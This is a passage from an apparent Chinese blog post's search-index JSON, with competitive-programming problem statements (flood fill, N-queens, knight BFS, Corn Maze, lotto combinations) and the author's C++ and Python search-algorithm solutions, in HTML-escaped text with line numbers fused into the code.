\u0026lt; m \u0026amp;\u0026amp; field[x + dx][y + dy] == \u0026#39;W\u0026#39;) { 27 q.push({ x + dx, y + dy }); 28 } 29 } 30 } 31} 32 33int main() { 34 int n, m; 35 scanf(\u0026#34;%d %d\u0026#34;, \u0026amp;n, \u0026amp;m); 36 37 vector\u0026lt;vector\u0026lt;char\u0026gt;\u0026gt; field(n, vector\u0026lt;char\u0026gt;(m)); 38 for (i = 0; i \u0026lt; n; i++) { 39 scanf(\u0026#34;%s\u0026#34;, line); 40 for (j = 0; line[j] != \u0026#39;\\0\u0026#39;; j++) { 41 field[i][j] = line[j]; 42 } 43 } 44 45 int count = 0; 46 queue\u0026lt;pair\u0026lt;int, int\u0026gt;\u0026gt; q; 47 for (i = 0; i \u0026lt; n; i++) { 48 for (j = 0; j \u0026lt; m; j++) { 49 if (field[i][j] == \u0026#39;W\u0026#39;) { 50 q.push({ i, j }); 51 bfs(field, q, n, m); 52 count++; 53 } 54 } 55 } 56 printf(\u0026#34;%d\\n\u0026#34;, count); 57 return 0; 58} 以上三个都用了广搜做,结果都没有 AC。下面是使用深搜 AC 的代码:\n1import sys 2 3sys.setrecursionlimit(10000) 4 5 6def dfs(field, x, y, n, m): 7 directions = [(-1, 0), (-1, 1), (0, 1), (1, 1), (1, 0), (1, -1), (0, -1), (-1, -1)] 8 field[x][y] = \u0026#34;.\u0026#34; 9 for dx, dy in directions: 10 nx, ny = x + dx, y + dy 11 if 0 \u0026lt;= nx \u0026lt; n and 0 \u0026lt;= ny \u0026lt; m and field[nx][ny] == \u0026#34;W\u0026#34;: 12 dfs(field, nx, ny, n, m) 13 14 15def main(): 16 data = sys.stdin.read().splitlines() 17 n, m = map(int, data[0].split(\u0026#34; \u0026#34;)) 18 field = list() 19 for i in range(n): 20 field.append(list(data[i + 1].strip())) 21 22 count = 0 23 for i in range(n): 24 for j in range(m): 25 if field[i][j] == \u0026#34;W\u0026#34;: 26 dfs(field, i, j, n, m) 27 count += 1 28 print(count) 29 30 31if __name__ == \u0026#34;__main__\u0026#34;: 32 main() 有一个测试点的数据是 n = 100, m = 100 且所有点都是 W。没有 sys.setrecursionlimit(10000) 就会抛出 RecursionError: maximum recursion depth exceeded。\n填涂颜色 题目描述 由数字 $0$ 组成的方阵中,有一任意形状的由数字 $1$ 构成的闭合圈。现要求把闭合圈内的所有空间都填写成 $2$。例如:$6\\times 6$ 的方阵($n=6$),涂色前和涂色后的方阵如下:\n如果从某个 $0$ 出发,只向上下左右 $4$ 个方向移动且仅经过其他 $0$ 的情况下,无法到达方阵的边界,就认为这个 $0$ 在闭合圈内。闭合圈不一定是环形的,可以是任意形状,但保证闭合圈内的 $0$ 是连通的(两两之间可以相互到达)。\n10 0 0 0 0 0 20 0 0 1 1 1 30 1 1 0 0 1 41 1 0 0 0 1 51 0 0 1 0 1 61 1 1 1 1 1 10 0 0 0 0 0 20 0 0 1 1 1 30 1 1 2 2 1 41 1 2 2 2 1 51 2 2 1 2 1 61 1 1 1 1 1 输入格式 每组测试数据第一行一个整数 $n(1 \\le n \\le 30)$。\n接下来 $n$ 行,由 $0$ 和 $1$ 组成的 $n \\times n$ 的方阵。\n方阵内只有一个闭合圈,圈内至少有一个 $0$。\n输出格式 已经填好数字 $2$ 的完整方阵。\n样例 #1 样例输入 #1 16 20 0 0 0 0 0 30 0 1 1 1 1 40 1 1 0 0 1 51 1 0 0 0 1 61 0 0 0 0 1 71 1 1 1 1 1 样例输出 #1 10 0 0 0 0 0 20 0 1 1 1 1 30 1 1 2 2 1 41 1 2 2 2 1 51 2 2 2 2 1 61 1 1 1 1 1 提示 对于 $100%$ 的数据,$1 \\le n \\le 30$。\n题解 和上一道题一样,这也是一道找联通块的问题。可以在读取时将全部 0 都转换为 2,随后从边界开始搜索,能搜索到的改成 0,剩下的就是和边界不连通的。\n1from collections import deque 2 3 4def bfs(graph, n, queue): 5 directions = [(1, 0), (-1, 0), (0, 1), (0, -1)] 6 while queue: 7 x, y = queue.popleft() 8 graph[x][y] = \u0026#34;0\u0026#34; 9 for dx, dy in directions: 10 nx, ny = x + dx, y + dy 11 if 0 \u0026lt;= nx \u0026lt; n and 0 \u0026lt;= ny \u0026lt; n and graph[nx][ny] == \u0026#34;2\u0026#34;: 12 queue.append((nx, ny)) 13 14 15def main(): 16 n = int(input()) 17 graph = list() 18 for _ in range(n): 19 graph.append( 20 list(map(lambda x: \u0026#34;2\u0026#34; if x == \u0026#34;0\u0026#34; else \u0026#34;1\u0026#34;, input().strip().split(\u0026#34; \u0026#34;))) 21 ) 22 23 queue = deque() 24 for i in range(n): 25 if graph[0][i] == \u0026#34;2\u0026#34;: 26 queue.append((0, i)) 27 bfs(graph, n, queue) 28 if graph[-1][i] == \u0026#34;2\u0026#34;: 29 queue.append((n - 1, i)) 30 bfs(graph, n, queue) 31 if graph[i][0] == \u0026#34;2\u0026#34;: 32 queue.append((i, 0)) 33 bfs(graph, n, queue) 34 if graph[i][-1] == \u0026#34;2\u0026#34;: 35 queue.append((i, n - 1)) 36 bfs(graph, n, queue) 37 38 print(*list(\u0026#34; \u0026#34;.join(x) for x in graph), sep=\u0026#34;\\n\u0026#34;) 39 40 41if __name__ == \u0026#34;__main__\u0026#34;: 42 main() [USACO1.5] 八皇后 Checker Challenge 题目描述 一个如下的 $6 \\times 6$ 的跳棋棋盘,有六个棋子被放置在棋盘上,使得每行、每列有且只有一个,每条对角线(包括两条主对角线的所有平行线)上至多有一个棋子。\n上面的布局可以用序列 $2\\ 4\\ 6\\ 1\\ 3\\ 5$ 来描述,第 $i$ 个数字表示在第 $i$ 行的相应位置有一个棋子,如下:\n行号 $1\\ 2\\ 3\\ 4\\ 5\\ 6$\n列号 $2\\ 4\\ 6\\ 1\\ 3\\ 5$\n这只是棋子放置的一个解。请编一个程序找出所有棋子放置的解。 并把它们以上面的序列方法输出,解按字典顺序排列。 请输出前 $3$ 个解。最后一行是解的总个数。\n输入格式 一行一个正整数 $n$,表示棋盘是 $n \\times n$ 大小的。\n输出格式 前三行为前三个解,每个解的两个数字之间用一个空格隔开。第四行只有一个数字,表示解的总数。\n样例 #1 样例输入 #1 16 样例输出 #1 12 4 6 1 3 5 23 6 2 5 1 4 34 1 5 2 6 3 44 提示 【数据范围】 对于 $100%$ 的数据,$6 \\le n \\le 13$。\n题目翻译来自NOCOW。\nUSACO Training Section 1.5\n题解 遍历一行的每一个格子,判断这个格子是否能放棋子。如果可以放,则放棋子并标记,然后进入下一行遍历。\n行和列比较好标记:因为将上一行的棋子放下后才能在下一行继续放棋子,所以行不可能重复;列只要把列号标记就好了。比较困难的是给对角线和副对角线标记。观察发现,对于同一条对角线上的坐标 (i, j),i - j 是相等的;对于同一条副对角线上的坐标 (i, j),i + j 是相等的(就是一次函数)。\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;vector\u0026gt; 5 6using namespace std; 7 8int cols[14] = { 0 }, main_diag[25] = { 0 }, anti_diag[25] = { 0 }; 9 10void dfs(int n, int row, vector\u0026lt;int\u0026gt; \u0026amp;current, vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; \u0026amp;result) { 11 if (row == n + 1) { 12 result.push_back(current); 13 return; 14 } 15 16 for (int col = 1; col \u0026lt;= n; col++) { 17 if (cols[col] == 0 \u0026amp;\u0026amp; main_diag[col - row + n] == 0 \u0026amp;\u0026amp; anti_diag[col + row - 1] == 0) { 18 cols[col] = 1; 19 main_diag[col - row + n] = 1; 20 anti_diag[col + row - 1] = 1; 21 current.push_back(col); 22 dfs(n, row + 1, current, result); 23 current.pop_back(); 24 cols[col] = 0; 25 main_diag[col - row + n] = 0; 26 anti_diag[col + row - 1] = 0; 27 } 28 } 29} 30 31int main() { 32 int n; 33 scanf(\u0026#34;%d\u0026#34;, \u0026amp;n); 34 vector\u0026lt;int\u0026gt; current; 35 vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; result; 36 dfs(n, 1, current, result); 37 for (int i = 0; i \u0026lt; 3; i++) { 38 for (const auto\u0026amp; num : result[i]) { 39 printf(\u0026#34;%d \u0026#34;, num); 40 } 41 printf(\u0026#34;\\n\u0026#34;); 42 } 43 printf(\u0026#34;%d\\n\u0026#34;, result.size()); 44 return 0; 45} 马的遍历 题目描述 有一个 $n \\times m$ 的棋盘,在某个点 $(x, y)$ 上有一个马,要求你计算出马到达棋盘上任意一个点最少要走几步。\n输入格式 输入只有一行四个整数,分别为 $n, m, x, y$。\n输出格式 一个 $n \\times m$ 的矩阵,代表马到达某个点最少要走几步(不能到达则输出 $-1$)。\n样例 #1 样例输入 #1 13 3 1 1 样例输出 #1 10 3 2 23 -1 1 32 1 4 提示 数据规模与约定 对于全部的测试点,保证 $1 \\leq x \\leq n \\leq 400$,$1 \\leq y \\leq m \\leq 400$。\n题解 这道题本质上也是一个洪水填充,只是每次移动的方向不一样。使用广搜解决,第一次到达某一点时的步数即为最少步数。求某两点之间的最短步数也是相同解法。\n1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;queue\u0026gt; 3 4using namespace std; 5 6int field[405][405]; 7int n, m, x_0, y_0; 8const int directions[16] = { -2, 1, -1, 2, 1, 2, 2, 1, 2, -1, 1, -2, -1, -2, -2, -1 }; 9int i; 10 11void bfs() { 12 queue\u0026lt;pair\u0026lt;int, int\u0026gt;\u0026gt; q; 13 q.push(make_pair(x_0 - 1, y_0 - 1)); 14 field[x_0 - 1][y_0 - 1] = 0; 15 int x, y, nx, ny; 16 while (!q.empty()) { 17 x = q.front().first; 18 y = q.front().second; 19 q.pop(); 20 21 for (i = 0; i \u0026lt; 16; i += 2) { 22 nx = x + directions[i]; 23 ny = y + directions[i + 1]; 24 if (nx \u0026gt;= 0 \u0026amp;\u0026amp; nx \u0026lt; n \u0026amp;\u0026amp; ny \u0026gt;= 0 \u0026amp;\u0026amp; ny \u0026lt; m \u0026amp;\u0026amp; field[nx][ny] == -1) { 25 q.push(make_pair(nx, ny)); 26 field[nx][ny] = field[x][y] + 1; 27 } 28 } 29 } 30} 31 32int main() { 33 cin \u0026gt;\u0026gt; n \u0026gt;\u0026gt; m \u0026gt;\u0026gt; x_0 \u0026gt;\u0026gt; y_0; 34 for (int i = 0; i \u0026lt; n; i++) { 35 for (int j = 0; j \u0026lt; m; j++) { 36 field[i][j] = -1; 37 } 38 } 39 40 bfs(); 41 42 for (int i = 0; i \u0026lt; n; i++) { 43 for (int j = 0; j \u0026lt; m; j++) { 44 cout \u0026lt;\u0026lt; field[i][j] \u0026lt;\u0026lt; \u0026#34;\\t\u0026#34;; 45 } 46 cout \u0026lt;\u0026lt; endl; 47 } 48 return 0; 49} 奇怪的电梯 题目背景 感谢 @yummy 提供的一些数据。\n题目描述 呵呵,有一天我做了一个梦,梦见了一种很奇怪的电梯。大楼的每一层楼都可以停电梯,而且第 $i$ 层楼($1 \\le i \\le N$)上有一个数字 $K_i$($0 \\le K_i \\le N$)。电梯只有四个按钮:开,关,上,下。上下的层数等于当前楼层上的那个数字。当然,如果不能满足要求,相应的按钮就会失灵。例如: $3, 3, 1, 2, 5$ 代表了 $K_i$($K_1=3$,$K_2=3$,……),从 $1$ 楼开始。在 $1$ 楼,按“上”可以到 $4$ 楼,按“下”是不起作用的,因为没有 $-2$ 楼。那么,从 $A$ 楼到 $B$ 楼至少要按几次按钮呢?\n输入格式 共二行。\n第一行为三个用空格隔开的正整数,表示 $N, A, B$($1 \\le N \\le 200$,$1 \\le A, B \\le N$)。\n第二行为 $N$ 个用空格隔开的非负整数,表示 $K_i$。\n输出格式 一行,即最少按键次数,若无法到达,则输出 -1。\n样例 #1 样例输入 #1 15 1 5 23 3 1 2 5 样例输出 #1 13 提示 对于 $100 %$ 的数据,$1 \\le N \\le 200$,$1 \\le A, B \\le N$,$0 \\le K_i \\le N$。\n本题共 $16$ 个测试点,前 $15$ 个每个测试点 $6$ 分,最后一个测试点 $10$ 分。\n题解 这道题和上一道题几乎一模一样,最容易想到的办法是使用广搜找出最短路径。然而这道题给了些极限数据,使用广搜会 MLE,用一般的深搜会超时,所以不得不用深搜记忆化搜索和剪枝来解决。\n1import sys 2from functools import lru_cache 3 4sys.setrecursionlimit(10000) 5 6 7def main(): 8 input = sys.stdin.read 9 data = input().split() 10 11 N = int(data[0]) 12 A = int(data[1]) 13 B = int(data[2]) 14 K = (0,) + tuple(map(int, data[3 : 3 + N])) 15 memo = {} 16 visited = [False] * (N + 1) 17 18 @lru_cache 19 def dfs(current, depth): 20 if current == B: 21 return depth 22 if K[current] == 0: 23 return float(\u0026#34;inf\u0026#34;) 24 if current in memo and memo[current] \u0026lt;= depth: 25 return float(\u0026#34;inf\u0026#34;) 26 27 memo[current] = depth 28 min_depth = float(\u0026#34;inf\u0026#34;) 29 30 up = current + K[current] 31 if 1 \u0026lt;= up \u0026lt;= N and not visited[up]: 32 visited[up] = True 33 result = dfs(up, depth + 1) 34 min_depth = min(min_depth, result) 35 visited[up] = False 36 down = current - K[current] 37 if 1 \u0026lt;= down \u0026lt;= N and not visited[down]: 38 visited[down] = True 39 result = dfs(down, depth + 1) 40 min_depth = min(min_depth, result) 41 visited[down] = False 42 43 return min_depth 44 45 visited[A] = True 46 result = dfs(A, 0) 47 print(result if result != float(\u0026#34;inf\u0026#34;) else -1) 48 49 50if __name__ == \u0026#34;__main__\u0026#34;: 51 main() [USACO08FEB] Meteor Shower S 题面翻译 题目描述 贝茜听说一场特别的流星雨即将到来:这些流星会撞向地球,并摧毁它们所撞击的任何东西。她为自己的安全感到焦虑,发誓要找到一个安全的地方(一个永远不会被流星摧毁的地方)。\n如果将牧场放入一个直角坐标系中,贝茜现在的位置是原点,并且,贝茜不能踏上一块被流星砸过的土地。\n根据预报,一共有 $M$ 颗流星 $(1\\leq M\\leq 50,000)$ 会坠落在农场上,其中第 $i$ 颗流星会在时刻 $T_i$($0 \\leq T _ i \\leq 1000$)砸在坐标为 $(X_i,Y_i)(0\\leq X_i\\leq 300$,$0\\leq Y_i\\leq 300)$ 的格子里。流星的力量会将它所在的格子,以及周围 $4$ 个相邻的格子都化为焦土,当然贝茜也无法再在这些格子上行走。\n贝茜在时刻 $0$ 开始行动,她只能在会在横纵坐标 $X,Y\\ge 0$ 的区域中,平行于坐标轴行动,每 $1$ 个时刻中,她能移动到相邻的(一般是 $4$ 个)格子中的任意一个,当然目标格子要没有被烧焦才行。如果一个格子在时刻 $t$ 被流星撞击或烧焦,那么贝茜只能在 $t$ 之前的时刻在这个格子里出现。 贝茜一开始在 $(0,0)$。\n请你计算一下,贝茜最少需要多少时间才能到达一个安全的格子。如果不可能到达输出 $−1$。\n输入格式 共 $M+1$ 行,第 $1$ 行输入一个整数 $M$,接下来的 $M$ 行每行输入三个整数分别为 $X_i, Y_i, T_i$。\n输出格式 贝茜到达安全地点所需的最短时间,如果不可能,则为 $-1$。\n题目描述 Bessie hears that an extraordinary meteor shower is coming; reports say that these meteors will crash into earth and destroy anything they hit. Anxious for her safety, she vows to find her way to a safe location (one that is never destroyed by a meteor) . She is currently grazing at the origin in the coordinate plane and wants to move to a new, safer location while avoiding being destroyed by meteors along her way.\nThe reports say that M meteors (1 ≤ M ≤ 50,000) will strike, with meteor i will striking point (Xi, Yi) (0 ≤ Xi ≤ 300; 0 ≤ Yi ≤ 300) at time Ti (0 ≤ Ti ≤ 1,000). Each meteor destroys the point that it strikes and also the four rectilinearly adjacent lattice points.\nBessie leaves the origin at time 0 and can travel in the first quadrant and parallel to the axes at the rate of one distance unit per second to any of the (often 4) adjacent rectilinear points that are not yet destroyed by a meteor. She cannot be located on a point at any time greater than or equal to the time it is destroyed).\nDetermine the minimum time it takes Bessie to get to a safe place.\n输入格式 * Line 1: A single integer: M\n* Lines 2..M+1: Line i+1 contains three space-separated integers: Xi, Yi, and Ti\n输出格式 * Line 1: The minimum time it takes Bessie to get to a safe place or -1 if it is impossible.\n样例 #1 样例输入 #1 14 20 0 2 32 1 2 41 1 2 50 3 5 样例输出 #1 15 题解 创建 meteor 数组用于保存每一个点无法通行的时间,field 数组用于保存到达每一点的最短时间。只有当节点没有走过而且还没有被摧毁时才可以通行。依然使用深搜找出最短路径。\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;algorithm\u0026gt; 5#include \u0026lt;queue\u0026gt; 6 7using namespace std; 8 9const int INF = 1e9; 10const int directions[8] = { 0, 1, 1, 0, 0, -1, -1, 0 }; 11int meteor[305][305], field[305][305] = {}; 12int n, xi, yi, ti, nxi, nyi, x, y, nx, ny; 13int i, j; 14 15int main() { 16 for (i = 0; i \u0026lt; 305; i++) { 17 for (j = 0; j \u0026lt; 305; j++) { 18 meteor[i][j] = INF; 19 } 20 } 21 22 scanf(\u0026#34;%d\u0026#34;, \u0026amp;n); 23 for (i = 0; i \u0026lt; n; i++) { 24 scanf(\u0026#34;%d%d%d\u0026#34;, \u0026amp;xi, \u0026amp;yi, \u0026amp;ti); 25 meteor[xi][yi] = min(meteor[xi][yi], ti); 26 for (j = 0; j \u0026lt; 8; j += 2) { 27 nxi = xi + directions[j]; 28 nyi = yi + directions[j + 1]; 29 if (nxi \u0026gt;= 0 \u0026amp;\u0026amp; nyi \u0026gt;= 0) { 30 meteor[nxi][nyi] = min(meteor[nxi][nyi], ti); 31 } 32 } 33 } 34 35 queue\u0026lt;int\u0026gt; q; 36 q.push(0); 37 q.push(0); 38 39 while (!q.empty()) { 40 x = q.front(); 41 q.pop(); 42 y = q.front(); 43 q.pop(); 44 45 if (meteor[x][y] == INF) { 46 printf(\u0026#34;%d\u0026#34;, field[x][y]); 47 return 0; 48 } 49 50 for (i = 0; i \u0026lt; 8; i += 2) { 51 nx = x + directions[i]; 52 ny = y + directions[i + 1]; 53 if (nx \u0026gt;= 0 \u0026amp;\u0026amp; ny \u0026gt;= 0 \u0026amp;\u0026amp; field[x][y] + 1 \u0026lt; meteor[nx][ny] \u0026amp;\u0026amp; !field[nx][ny]) { 54 q.push(nx); 55 q.push(ny); 56 field[nx][ny] = field[x][y] + 1; 57 } 58 } 59 } 60 61 puts(\u0026#34;-1\u0026#34;); 62 return 0; 63} 至少在 C++ 中,避免向 queue 中存储过多数据可以极大降低程序运行所花费的时间和空间。最开始我尝试将经过某一点时的坐标和时间同时存入队列,导致部分测试点 MLE 或 TLE。后来单独使用二维数组存储时间,将每组存入队列的数据从三个减少到两个才可以 AC。\n[NOIP 2000 提高组] 单词接龙 题目背景 注意:本题为上古 NOIP 原题,不保证存在靠谱的做法能通过该数据范围下的所有数据。\n本题为搜索题,本题不接受 hack 数据。关于此类题目的详细内容\nNOIP2000 提高组 T3\n题目描述 单词接龙是一个与我们经常玩的成语接龙相类似的游戏,现在我们已知一组单词,且给定一个开头的字母,要求出以这个字母开头的最长的“龙”(每个单词都最多在“龙”中出现两次),在两个单词相连时,其重合部分合为一部分,例如 beast 和 astonish,如果接成一条龙则变为 beastonish,另外相邻的两部分不能存在包含关系,例如 at 和 atide 间不能相连。\n输入格式 输入的第一行为一个单独的整数 $n$ 表示单词数,以下 $n$ 行每行有一个单词,输入的最后一行为一个单个字符,表示“龙”开头的字母。你可以假定以此字母开头的“龙”一定存在。\n输出格式 只需输出以此字母开头的最长的“龙”的长度。\n样例 #1 样例输入 #1 15 2at 3touch 4cheat 5choose 6tact 7a 样例输出 #1 123 提示 样例解释:连成的“龙”为 atoucheatactactouchoose。\n$n \\le 20$。\n题解 数据很水,只要把各种限制条件和特判加上,这样乱写也能 AC。\n1def main(): 2 n = int(input().strip()) 3 rest = dict() 4 for _ in range(n): 5 word = input().strip() 6 rest[word] = 2 7 start = input().strip() 8 result = set() 9 10 def dfs(cur, ln): 11 result.add(cur) 12 13 if ln == 1: 14 for w in rest.keys(): 15 if w[0] == cur: 16 rest[w] -= 1 17 nxt = w 18 dfs(nxt, len(nxt)) 19 rest[w] += 1 20 21 else: 22 for w in rest.keys(): 23 if rest[w]: 24 rest[w] -= 1 25 for i in range(1, min(ln, len(w))): 26 if cur[ln - i :] == w[:i]: 27 nxt = cur + w[i:] 28 dfs(nxt, len(nxt)) 29 rest[w] += 1 30 31 dfs(start, 1) 32 result = list(result) 33 result.sort(key=lambda x: len(x), reverse=True) 34 print(len(result[0])) 35 36 37if __name__ == \u0026#34;__main__\u0026#34;: 38 main() [USACO11OPEN] Corn Maze S 题面翻译 奶牛们去一个 $N\\times M$ 玉米迷宫,$2 \\leq N \\leq 300,2 \\leq M \\leq300$。\n迷宫里有一些传送装置,可以将奶牛从一点到另一点进行瞬间转移。这些装置可以双向使用。\n如果一头奶牛处在这个装置的起点或者终点,这头奶牛就必须使用这个装置,奶牛在传送过后不会立刻进行第二次传送,即不会卡在传送装置的起点和终点之间来回传送。\n玉米迷宫除了唯一的一个出口都被玉米包围。\n迷宫中的每个元素都由以下项目中的一项组成:\n玉米,# 表示,这些格子是不可以通过的。 草地,. 表示,可以简单的通过。 传送装置,每一对大写字母 $\\tt{A}$ 到 $\\tt{Z}$ 表示。 出口,= 表示。 起点, @ 表示 奶牛能在一格草地上可能存在的四个相邻的格子移动,花费 $1$ 个单位时间。从装置的一个结点到另一个结点不花时间。\n题目描述 This past fall, Farmer John took the cows to visit a corn maze. But this wasn't just any corn maze: it featured several gravity-powered teleporter slides, which cause cows to teleport instantly from one point in the maze to another. The slides work in both directions: a cow can slide from the slide's start to the end instantly, or from the end to the start. If a cow steps on a space that hosts either end of a slide, she must use the slide.\nThe outside of the corn maze is entirely corn except for a single exit.\nThe maze can be represented by an N x M (2 \u0026lt;= N \u0026lt;= 300; 2 \u0026lt;= M \u0026lt;= 300) grid. Each grid element contains one of these items:\n* Corn (corn grid elements are impassable)\n* Grass (easy to pass through!)\n* A slide endpoint (which will transport a cow to the other endpoint)\n* The exit\nA cow can only move from one space to the next if they are adjacent and neither contains corn. Each grassy space has four potential neighbors to which a cow can travel. It takes 1 unit of time to move from a grassy space to an adjacent space; it takes 0 units of time to move from one slide endpoint to the other.\nCorn-filled spaces are denoted with an octothorpe (#). Grassy spaces are denoted with a period (.). Pairs of slide endpoints are denoted with the same uppercase letter (A-Z), and no two different slides have endpoints denoted with the same letter. The exit is denoted with the equals sign (=).\nBessie got lost. She knows where she is on the grid, and marked her current grassy space with the 'at' symbol (@). What is the minimum time she needs to move to the exit space?\n输入格式 第一行:两个用空格隔开的整数 $N$ 和 $M$。\n第 $2\\sim N+1$ 行:第 $i+1$ 行描述了迷宫中的第 $i$ 行的情况(共有$M$个字符,每个字符中间没有空格)。\n输出格式 一个整数,表示起点到出口所需的最短时间。\n样例 #1 样例输入 #1 15 6 2###=## 3#.W.## 4#.#### 5#.@W## 6###### 样例输出 #1 13 提示 例如以下矩阵,$N=5,M=6$。\n1###=## 2#.W.## 3#.#### 4#.@W## 5###### 唯一的一个装置的结点用大写字母 $\\tt{W}$ 表示。\n最优方案为:先向右走到装置的结点,花费一个单位时间,再到装置的另一个结点上,花费 $0$ 个单位时间,然后再向右走一个,再向上走一个,到达出口处,总共花费了 $3$ 个单位时间。\n题解 这道题本质上还是一个广搜走迷宫的问题,只是加了传送门需要特判。传送门可以传送过去,也可以传送回来,而且一对传送门可以重复使用。例如下面这种情况:\n1####=# 2#....# 3#.#### 4#.#A.# 5#.#### 6#.A.@# 7###### 因为传送本身不计算步数,所以穿过传送门时增加的步数应该记在出口传送门上,这样防止反复穿越传送门时错误地计算步数。\n1from collections import deque 2 3 4def main(): 5 portal = dict() 6 n, m = map(int, input().strip().split(\u0026#34; \u0026#34;)) 7 maze = list() 8 visited = [[-1 for _ in range(m)] for _ in range(n)] 9 for i in range(n): 10 row = list(input().strip()) 11 maze.append(row) 12 for j in range(m): 13 if row[j] == \u0026#34;@\u0026#34;: 14 start = (i, j) 15 elif row[j].isalpha(): 16 p = portal.get(row[j], list()) 17 p.append((i, j)) 18 portal[row[j]] = p 19 20 sx, sy = start 21 visited[sx][sy] = 0 22 directions = ((-1, 0), (0, 1), (1, 0), (0, -1)) 23 q = deque() 24 q.append(start) 25 26 while q: 27 x, y = q.popleft() 28 29 for dx, dy in directions: 30 nx, ny = x + dx, y + dy 31 if maze[nx][ny] == \u0026#34;=\u0026#34;: 32 print(visited[x][y] + 1) 33 return 34 elif maze[nx][ny] == \u0026#34;.\u0026#34; and visited[nx][ny] == -1: 35 q.append((nx, ny)) 36 visited[nx][ny] = visited[x][y] + 1 37 elif maze[nx][ny].isalpha(): 38 if portal[maze[nx][ny]][0] != (nx, ny): 39 px, py = portal[maze[nx][ny]][0] 40 else: 41 px, py = portal[maze[nx][ny]][1] 42 43 if visited[px][py] == -1: 44 q.append((px, py)) 45 visited[px][py] = visited[x][y] + 1 46 47 48if __name__ == \u0026#34;__main__\u0026#34;: 49 main() ","link":"https://jackgdn.github.io/post/algo-searching/","section":"post","tags":["算法","dfs","bfs"],"title":"搜索练习"},{"body":"习题均来自 NEFU OJ Problem 8 | 二倍的问题 Description 给定2到15个不同的正整数,你的任务是计算这些数里面有多少个数对满足:数对中一个数是另一个数的两倍。比如给定1 4 3 2 9 7 18 22,得到的答案是3,因为2是1的两倍,4是2个两倍,18是9的两倍。\nInput 输入包括n组测试数据。每组数据包括一行,给出2到15个两两不同且小于100的正整数。每一行最后一个数是0,表示这一行的结束后,这个数不属于那2到15个给定的正整数。\nOutput 对每组输入数据,输出一行,给出有多少个数对满足其中一个数是另一个数的两倍。\nSample Input 13 21 4 3 2 9 7 18 22 0 32 4 8 10 0 47 5 11 13 1 3 0 Sample Output 13 22 30 简单题。唯一奇怪的是使用 bitset 比直接用 int* 的内存开销大。\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;cstring\u0026gt; 5 6using namespace std; 7 8int max_value, i, value, n, cnt; 9int values[100]; 10 11int main() { 12 scanf(\u0026#34;%d\u0026#34;, \u0026amp;n); 13 while (n--) { 14 memset(values, 0, sizeof(values)); 15 max_value = -1; 16 cnt = 0; 17 18 while (scanf(\u0026#34;%d\u0026#34;, \u0026amp;value) \u0026amp;\u0026amp; value != 0) { 19 values[value] = 1; 20 if (value \u0026gt; max_value) { 21 max_value = value; 22 } 23 } 24 25 for (i = 1; i \u0026lt;= max_value / 2; i++) { 26 if (values[i] \u0026amp;\u0026amp; values[i * 2]) { 27 cnt++; 28 } 29 } 30 31 printf(\u0026#34;%d\\n\u0026#34;, cnt); 32 } 33 return 0; 34} Problem 573 | 大乐透 Description 在小明曾经玩过的一种对号码的纸牌游戏(乐透)里,玩家必须从{1,2,……,49}中选择6个数。玩Lotto的一个流行策略是(虽然它并不增加你赢的机会):就是从这49个数中,选出k(k\u0026gt;6)个数组成一个子集S,然后只从S里拿出牌来玩几局游戏。例如,k=8,s={1,2,3,5,8,13,21,34},那么有28场可能的游戏:[1,2,3,5,8,13],[1,2,3,5,8,21],[1,2,3,5,8,34],[1,2,3,5,13,21],……,[3,5,8,13,21,24]。 读取数字k和一组数S,输出由S中的数组成的所有可能的游戏。\nInput 输入数据有多组,每组一行,每行有多个整数,其中第一个整数为数字k,接下来有k个整数,即子集S。当k为0,输入结束。\nOutput 输出由S中的数组成的所有可能的游戏。每种游戏一行。\nSample Input 17 1 2 3 4 5 6 7 20 Sample Output 11 2 3 4 5 6 21 2 3 4 5 7 31 2 3 4 6 7 41 2 3 5 6 7 51 2 4 5 6 7 61 3 4 5 6 7 72 3 4 5 6 7 用递归(深搜)解决:\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;cstring\u0026gt; 5#include \u0026lt;algorithm\u0026gt; 6 7using namespace std; 8 9int nums[50], k; 10 11void solve(int* nums, int start, int depth, int* combination) { 12 if (depth == 6) { 13 printf(\u0026#34;%d %d %d %d %d %d\\n\u0026#34;, combination[0], combination[1], combination[2], combination[3], combination[4], combination[5]); 14 return; 15 } 16 17 for (int i = start; i \u0026lt; k; i++) { 18 combination[depth] = nums[i]; 19 solve(nums, i + 1, depth + 1, combination); 20 } 21} 22 23int main() { 24 while (scanf(\u0026#34;%d\u0026#34;, \u0026amp;k) != -1) { 25 if (k == 0) { 26 break; 27 } 28 29 memset(nums, 0, sizeof(nums)); 30 for (int i = 0; i \u0026lt; k; i++) { 31 scanf(\u0026#34;%d\u0026#34;, \u0026amp;nums[i]); 32 } 33 34 sort(nums, nums + k); 35 36 int combination[6]; 37 solve(nums, 0, 0, combination); 38 } 39 40 return 0; 41} 或者暴力循环嵌套:\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;cstring\u0026gt; 5#include \u0026lt;algorithm\u0026gt; 6 7using namespace std; 8 9int i, nums[50], k; 10int a, b, c, d, e, f; 11 12int main() { 13 while (scanf(\u0026#34;%d\u0026#34;, \u0026amp;k) != -1 \u0026amp;\u0026amp; k != 0) 14 { 15 memset(nums, 0, sizeof(nums)); 16 for (i = 0; i \u0026lt; k; i++) { 17 scanf(\u0026#34;%d\u0026#34;, \u0026amp;nums[i]); 18 } 19 20 sort(nums, nums + k); 21 for (a = 0; a \u0026lt; k - 5; a++) { 22 for (b = a + 1; b \u0026lt; k - 4; b++) { 23 for (c = b + 1; c \u0026lt; k - 3; c++) { 24 for (d = c + 1; d \u0026lt; k - 2; d++) { 25 for (e = d + 1; e \u0026lt; k - 1; e++) { 26 for (f = e + 1; f \u0026lt; k; f++) { 27 printf(\u0026#34;%d %d %d %d %d %d\\n\u0026#34;, nums[a], nums[b], nums[c], nums[d], nums[e], nums[f]); 28 } 29 } 30 } 31 } 32 } 33 } 34 } 35 36 return 0; 37} 使用 Python 做起来会比较简单,直接调用 itertools 模块中的 combinations 